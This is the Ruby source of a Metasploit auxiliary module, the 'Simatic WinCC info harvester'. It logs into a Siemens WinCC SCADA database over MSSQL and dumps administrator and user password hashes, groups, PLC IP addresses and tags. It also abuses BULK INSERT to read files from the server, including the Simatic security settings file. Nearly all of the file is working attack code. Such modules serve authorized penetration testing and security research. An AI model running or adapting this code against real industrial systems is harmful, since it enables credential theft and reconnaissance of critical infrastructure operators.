## encoding: UTF-8 # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, 'Name' => 'Simatic WinCC info harvester', 'Description' => %q{ This module receives sensitive information from the WinCC database. }, 'Author' => [ 'Dmitry Nagibin', # research 'Gleb Gritsai <ggritsai@ptsecurity.ru>', # research 'Vyacheslav Egoshin <vegoshin@ptsecurity.ru>', # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.ptsecurity.com' ] ], 'Version' => '$Revision$', 'DisclosureDate'=> 'Jun 3 2012' )) register_options( [ OptString.new('DOCUMENTS_FOLDER_NAME', [true, "Documents folder name", 'Documents']), ], self.class ) end def run if mssql_login_datastore # connect project_databases_names = q("SELECT name FROM master..sysdatabases WHERE name LIKE 'CC%_[0-9]'") # get db get_info project_databases_names else print_error "Can't connect to the database" end end def q query, show_errors = true, verbose = false, only_rows = true result = mssql_query(query, verbose) if !result[:errors].empty? and show_errors print_error "Error: #{result[:errors]}" print_error "Error query: #{query}" else only_rows ? result[:rows] : result end end def get_info dbs prj ={} dbs.map do |db| db = db.first # get db name prj[db] = {} # init hash prj[db]["name"] = q("SELECT DSN FROM #{db}.dbo.CC_CsSysInfoLog") prj[db]["admins"] = q("SELECT NAME, convert(varbinary, PASS) as PWD from #{db}.dbo.PW_USER WHERE PASS <> '' and GRPID = 1000") prj[db]["users"] = q("SELECT ID, NAME, convert(varbinary, PASS), GRPID FROM #{db}.[dbo].[PW_USER] WHERE PASS <> '' and GRPID <> 1000") prj[db]["groups"] = q("SELECT ID, NAME FROM #{db}.[dbo].[PW_USER] WHERE PASS = ''") prj[db]["plcs"] = q("SELECT CONNECTIONNAME, PARAMETER FROM #{db}.[dbo].[MCPTCONNECTION]") prj[db]["tags"] = q("SELECT VARNAME,VARTYP,COMMENTS FROM #{db}.[dbo].[PDE#TAGs]") prj[db]["plcs"] = prj[db]["plcs"].map do |name, ip| # get plc IP real_ip = ip # set current value real_ip = ip.scan(/\d+\.\d+\.\d+\.\d+/).first if ip =~ /\d+\.\d+\.\d+\.\d+/ # if ip notation found [name, real_ip] end print_good "Project: #{prj[db]["name"].first.first}\n" # print project name #Table data print_table %w|ID NAME| , prj[db]["groups"], "WinCC groups" print_table %w|Name Password(hex)| , prj[db]["admins"], "WinCC administrator" print_table %w|ID NAME Password(hex) GRPID| , prj[db]["users"], "WinCC users" print_table %w|VARNAME VARTYP COMMENTS| , prj[db]["tags"], "WinCC tags" print_table %w|CONNECTIONNAME PARAMETER| , prj[db]["plcs"], "WinCC PLCs" #check file access through batched queries if can_read_file? db settings = read_file get_value("Security settings path"), db if settings # save results to file File.open("/tmp/security_settings.xml", "w+") do |f| f.puts settings end end end print_line end end def print_table columns, rows, header = '' tbl = Rex::Ui::Text::Table.new( 'Indent' => 4, 'Header' => header, 'Columns' => columns ) unless rows.nil? rows.each do |r| tbl << r # add rows end print_line tbl.to_s end end #read file through batched queries def read_file file_name, db q("CREATE TABLE mydata (line varchar(8000));", false) q("BULK INSERT mydata FROM '#{file_name}';", false) result = q("select * from mydata", false) q("DROP TABLE mydata;", false) print_error("Can't read file: #{file_name}") if result.nil? result end #check account read file def can_read_file? db res = read_file get_value("test"), db print_status "Access read files! (#{get_value "test"} read)" unless res.nil? res.size > 0 # return true or false end def get_value i config = { "Security settings path" => %q|C:\Documents and Settings\All Users\Documents\SimaticSecurityControl\setRules.xml|, "test" => %q|C:\Windows\win.ini| } config[i] end end